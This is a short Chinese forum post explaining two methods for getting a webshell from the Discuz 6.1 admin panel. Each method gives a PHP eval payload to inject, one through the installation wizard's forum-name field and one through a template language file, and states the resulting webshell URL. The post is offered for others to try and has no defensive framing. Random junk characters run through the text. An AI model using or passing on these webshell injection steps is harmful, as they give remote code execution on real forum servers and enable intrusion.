discuz6.1后台拿shell方法

admin

discuz6.1两种方法后台拿shell
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
' q0 Y# w# J: X' Z6 P4 m6 W* U1:
% m1 d6 {# A. H" V& q5 d! shttp://127.0.0.1/discuz/admincp. ... zard&frames=yes
6 Z: A& ~& `4 a% W- @4 @/ L5 {# `admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
" n. S6 N5 w# s8 a<?php eval($_POST[cmd]);?>
9 T7 j7 t$ `, n4 Q& F( s后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
5 ~0 z$ T: Q6 [( _. F
" p9 G$ {! C; P$ Z, t
$ g$ u5 ~' L+ O% R# Z1 q5 B2:后台模板管理--默认模板套系--详情
templates/default/actions.lang.php
% T/ ?0 o( `% u5 C, V4 M/ ~jhackj\\');eval($_POST[cmd])?>;//
$ P2 k- B9 p) Z; ~/ H( C
& ]& d7 Q% P# }3 M利用很简单,聪明的人一看就懂了